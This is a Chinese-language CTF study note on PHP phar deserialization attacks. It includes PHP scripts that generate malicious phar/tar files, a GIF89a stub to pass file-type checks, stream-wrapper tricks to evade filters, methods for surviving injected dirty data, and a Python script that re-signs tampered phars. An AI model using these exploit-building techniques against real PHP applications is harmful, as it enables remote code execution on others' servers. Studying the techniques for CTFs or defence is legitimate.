Phar
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data
。当受影响的文件操作函数调用phar文件时,会自动meta-data
内的内容(phar是以序列化的方式存储内容的)。
Phar需要 PHP >= 5.2
Pahr文件结构
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。
meta-data以序列化的方式存储数据,序列化数据必然会有反序列化操作,php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下:
<?php
class Test{
public $username = 'L1mbo';
}
$p = new Test();
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($p);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
?>
验证文件格式绕过
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
关键字绕过
当一个phar文件被gzip、bzip2、tar、zip
等操作过后,依然可以利用phar://协议来正常读取,但文件被操作过后就全变成乱码了,利用这个就可以绕过过滤
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
绕过文件头部脏数据
如:
<?php
highlight_file(__FILE__);
class flag{
public $cmd;
public function __destruct()
{
system($this->cmd);
}
}
$dirty="dirty............dirty..............dirty";
$file=file_get_contents($_POST['file']);
$newfile=$dirty.$file;
file_put_contents("./phar/new.phar",$newfile);
echo file_get_contents("phar://./phar/new.phar")
?>
题目会往我们提交的文件内容前面添加一段脏数据导致我们的Phar文件的签名错误,Phar反序列化无法成功。
我们此时可以把脏数据提前写在Phar文件标志--sub
前面($phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
)
再生成.Phar
文件。然后删除文件头部的脏数据再上传,这样服务端再我们提交的数据前面再添加一段脏数据,签名正确。
<?php
class flag{
}
$a=new flag();
$dirtydata = "dirty";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub($dirtydata."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("anything" , "test");
$phar->stopBuffering();
$exp = file_get_contents("./phar.phar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.phar",$post_exp);
?>
绕过文件尾部的脏数据
如:
<?php
error_reporting(0);
highlight_file(__FILE__);
class flag{
public function __destruct()
{
system("whoami");
}
}
$dirty="dirty";
$old=file_get_contents("./phar/phar.tar");
$new=$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar")
?>
绕过文件尾部的脏数据,不需要已知内容,我们可以使用tar格式自动忽略,因为tar格式有暂停解析位,在之后添加的数据都不会解析的。
<?php
class flag{
}
$a=new flag;
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
$phar->addFromString('L1mbo' , "test");
$phar->stopBuffering();
?>
绕过前面已知脏数据同时绕过末尾未知脏数据
如:
<?php
error_reporting(0);
highlight_file(__FILE__);
class flag{
public function __destruct()
{
system("whoami");
}
}
$front="dirty-front";
$dirty="dirty-end";
$old=file_get_contents("./phar/break_phar.tar");
$new=$front.$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar")
?>
同样的tar
<?php
class flag{
}
$a=new flag;
$dirtydata="dirty-front";
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
//读取原文件,截取,删除
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.tar",$post_exp);
?>
Phar修改签名
当需要绕过wakeup或者fastdestruct的时候,需要修改phar内容,修改之后会导致签名校验失败,所以我们需要重新给文件签名。
import gzip
from hashlib import sha1
file = open("test.phar","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容,此时sha1正确了。
open("L1mbo.phar","wb").write(new_file)